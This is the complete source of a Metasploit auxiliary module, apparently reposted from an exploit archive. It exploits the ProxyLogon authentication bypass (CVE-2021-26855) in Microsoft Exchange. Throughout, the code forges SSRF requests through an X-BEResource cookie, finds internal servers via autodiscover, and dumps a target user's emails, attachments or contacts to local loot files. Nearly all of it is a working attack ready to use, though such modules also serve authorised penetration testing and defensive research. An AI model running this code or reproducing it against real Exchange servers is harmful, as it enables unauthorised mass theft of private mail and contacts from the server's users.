Share
## https://sploitus.com/exploit?id=PACKETSTORM:180640
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
# begin auxiliary class  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Exchange ProxyLogon Collector',  
'Description' => %q{  
This module exploit a vulnerability on Microsoft Exchange Server that  
allows an attacker bypassing the authentication and impersonating as the  
admin (CVE-2021-26855).  
  
By taking advantage of this vulnerability, it is possible to dump all  
mailboxes (emails, attachments, contacts, ...).  
  
This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,  
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,  
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).  
  
All components are vulnerable by default.  
},  
'Author' => [  
'Orange Tsai', # Discovery (Officially acknowledged by MSRC)  
'GreyOrder', # PoC (https://github.com/GreyOrder)  
'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise)  
],  
'References' => [  
['CVE', '2021-26855'],  
['LOGO', 'https://proxylogon.com/images/logo.jpg'],  
['URL', 'https://proxylogon.com/'],  
['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'],  
['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'],  
['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py']  
],  
'DisclosureDate' => '2021-03-02',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Actions' => [  
[  
'Dump (Contacts)', {  
'Description' => 'Dump user contacts from exchange server',  
'id_attribute' => 'contacts'  
}  
],  
[  
'Dump (Emails)', {  
'Description' => 'Dump user emails from exchange server'  
}  
]  
],  
'DefaultAction' => 'Dump (Emails)',  
'Notes' => {  
'AKA' => ['ProxyLogon'],  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]),  
OptString.new('EMAIL', [true, 'The email account what you want dump']),  
OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),  
OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]),  
OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted'])  
])  
  
register_advanced_options([  
OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647])  
])  
end  
  
XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze  
  
def dump_contacts(server_name)  
ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"  
  
response = send_xml('POST', ssrf, soap_countitems(action['id_attribute']))  
if response.body =~ /Success/  
print_good("Successfully connected to: #{action['id_attribute']}")  
xml = Nokogiri::XML.parse(response.body)  
  
folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0)  
print_status("Selected folder: #{action['id_attribute']} (#{folder_id})")  
  
total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content  
print_status("Number of contact found: #{total_count}")  
  
if total_count.to_i > datastore['MaxEntries']  
print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}")  
total_count = datastore['MaxEntries'].to_s  
end  
  
response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count))  
xml = Nokogiri::XML.parse(response.body)  
  
print_status(message("Processing dump of #{total_count} items"))  
data = xml.xpath('//t:Items/t:Contact', XMLNS)  
if data.empty?  
print_status('The user has no contacts')  
else  
write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s)  
end  
end  
end  
  
def dump_emails(server_name)  
ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"  
  
response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER']))  
if response.body =~ /Success/  
print_good("Successfully connected to: #{datastore['FOLDER']}")  
xml = Nokogiri::XML.parse(response.body)  
  
folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0)  
print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})")  
  
total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content  
print_status("Number of email found: #{total_count}")  
  
if total_count.to_i > datastore['MaxEntries']  
print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}")  
total_count = datastore['MaxEntries'].to_s  
end  
  
print_status(message("Processing dump of #{total_count} items"))  
download_items(total_count, ssrf)  
end  
end  
  
def download_attachments(item_id, ssrf)  
response = send_xml('POST', ssrf, soap_listattachments(item_id))  
xml = Nokogiri::XML.parse(response.body)  
  
xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item|  
item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0)  
  
response = send_xml('POST', ssrf, soap_downattachment(item_id))  
data = Nokogiri::XML.parse(response.body)  
  
filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content  
ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content  
content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content  
  
print_status(" -> attachment: #{item_id} (#{filename})")  
write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype)  
end  
end  
  
def download_items(total_count, ssrf)  
response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count))  
xml = Nokogiri::XML.parse(response.body)  
  
xml.xpath('//t:Items/t:Message', XMLNS).each do |item|  
item_info = item.at_xpath('./t:ItemId', XMLNS)&.values  
next if item_info.nil?  
  
print_status("Download item: #{item_info[1]}")  
  
response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1]))  
data = Nokogiri::XML.parse(response.body)  
  
email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content  
write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email))  
  
attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content  
if datastore['ATTACHMENTS'] && attachments == 'true'  
download_attachments(item_info[0], ssrf)  
end  
print_status  
end  
end  
  
def message(msg)  
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"  
end  
  
def random_ssrf_id  
# https://en.wikipedia.org/wiki/2,147,483,647 (lol)  
# max. 2147483647  
rand(1941962752..2147483647)  
end  
  
def request_autodiscover(server_name)  
xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }  
  
response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover)  
  
case response.body  
when %r{<ErrorCode>500</ErrorCode>}  
fail_with(Failure::NotFound, 'No Autodiscover information was found')  
when %r{<Action>redirectAddr</Action>}  
fail_with(Failure::NotFound, 'No email address was found')  
end  
  
xml = Nokogiri::XML.parse(response.body)  
  
legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content  
fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank?  
  
server = ''  
owa_urls = []  
xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|  
type = item.at_xpath('./xmlns:Type', xmlns)&.content  
if type == 'EXCH'  
server = item.at_xpath('./xmlns:Server', xmlns)&.content  
end  
  
next unless type == 'WEB'  
  
item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url|  
owa_urls << owa_url.content  
end  
end  
fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?  
fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty?  
  
return([server, legacy_dn, owa_urls])  
end  
  
def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded')  
request = {  
'method' => method,  
'uri' => @random_uri,  
'cookie' => "X-BEResource=#{ssrf};",  
'ctype' => ctype  
}  
request = request.merge({ 'data' => data }) unless data.empty?  
  
received = send_request_cgi(request)  
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received  
  
received  
end  
  
def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8')  
send_http(method, ssrf, data: data, ctype: ctype)  
end  
  
def soap_autodiscover  
<<~SOAP  
<?xml version="1.0" encoding="utf-8"?>  
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">  
<Request>  
<EMailAddress>#{datastore['EMAIL']}</EMailAddress>  
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>  
</Request>  
</Autodiscover>  
SOAP  
end  
  
def soap_countitems(folder_id)  
<<~SOAP  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"  
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"  
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<m:GetFolder>  
<m:FolderShape>  
<t:BaseShape>Default</t:BaseShape>  
</m:FolderShape>  
<m:FolderIds>  
<t:DistinguishedFolderId Id="#{folder_id}">  
<t:Mailbox>  
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>  
</t:Mailbox>  
</t:DistinguishedFolderId>  
</m:FolderIds>  
</m:GetFolder>  
</soap:Body>  
</soap:Envelope>  
SOAP  
end  
  
def soap_listattachments(item_id)  
<<~SOAP  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"  
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"  
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<m:GetItem>  
<m:ItemShape>  
<t:BaseShape>IdOnly</t:BaseShape>  
<t:AdditionalProperties>  
<t:FieldURI FieldURI="item:Attachments" />  
</t:AdditionalProperties>  
</m:ItemShape>  
<m:ItemIds>  
<t:ItemId Id="#{item_id}" />  
</m:ItemIds>  
</m:GetItem>  
</soap:Body>  
</soap:Envelope>  
SOAP  
end  
  
def soap_listitems(folder_id, max_entries)  
<<~SOAP  
<?xml version='1.0' encoding='utf-8'?>  
<soap:Envelope  
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'  
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'  
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'  
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>  
<soap:Body>  
<m:FindItem Traversal='Shallow'>  
<m:ItemShape>  
<t:BaseShape>AllProperties</t:BaseShape>  
</m:ItemShape>  
<m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />  
<m:ParentFolderIds>  
<t:DistinguishedFolderId Id='#{folder_id}'>  
<t:Mailbox>  
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>  
</t:Mailbox>  
</t:DistinguishedFolderId>  
</m:ParentFolderIds>  
</m:FindItem>  
</soap:Body>  
</soap:Envelope>  
SOAP  
end  
  
def soap_downattachment(item_id)  
<<~SOAP  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"  
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"  
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<m:GetAttachment>  
<m:AttachmentIds>  
<t:AttachmentId Id="#{item_id}" />  
</m:AttachmentIds>  
</m:GetAttachment>  
</soap:Body>  
</soap:Envelope>  
SOAP  
end  
  
def soap_downitem(id, change_key)  
<<~SOAP  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"  
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"  
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<m:GetItem>  
<m:ItemShape>  
<t:BaseShape>IdOnly</t:BaseShape>  
<t:IncludeMimeContent>true</t:IncludeMimeContent>  
</m:ItemShape>  
<m:ItemIds>  
<t:ItemId Id="#{id}" ChangeKey="#{change_key}" />  
</m:ItemIds>  
</m:GetItem>  
</soap:Body>  
</soap:Envelope>  
SOAP  
end  
  
def write_loot(type, data, name = '', ctype = 'text/plain')  
loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '')  
print_good("File saved to #{loot_path}")  
end  
  
def run  
@proto = (ssl ? 'https' : 'http')  
@random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js")  
  
print_status(message('Attempt to exploit for CVE-2021-26855'))  
  
# request for internal server name.  
response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")  
if response.code != 500 || !response.headers.to_s.include?('X-FEServer')  
fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')  
end  
server_name = response.headers['X-FEServer']  
print_status("Internal server name (#{server_name})")  
  
# get information by autodiscover request.  
print_status(message('Sending autodiscover request'))  
server_id, legacy_dn, owa_urls = request_autodiscover(server_name)  
  
print_status("Server: #{server_id}")  
print_status("LegacyDN: #{legacy_dn}")  
print_status("Internal target(s): #{owa_urls.join(', ')}")  
  
# selecting target  
print_status(message('Selecting the first internal server to respond'))  
if datastore['TARGET'].nil? || datastore['TARGET'].empty?  
target = ''  
owa_urls.each do |url|  
host = url.split('://')[1].split('.')[0].downcase  
next unless host != server_name.downcase  
  
response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}")  
next unless response.code == 200  
  
target = host  
print_good("Targeting internal: #{url}")  
  
break  
end  
fail_with(Failure::NotFound, 'No internal target was found') if target.empty?  
else  
target = datastore['TARGET']  
print_good("Targeting internal forced to: #{target}")  
end  
  
# run action  
case action.name  
when /Dump \(Contacts\)/  
print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>"))  
dump_contacts(target)  
when /Dump \(Emails\)/  
print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>"))  
dump_emails(target)  
end  
end  
  
end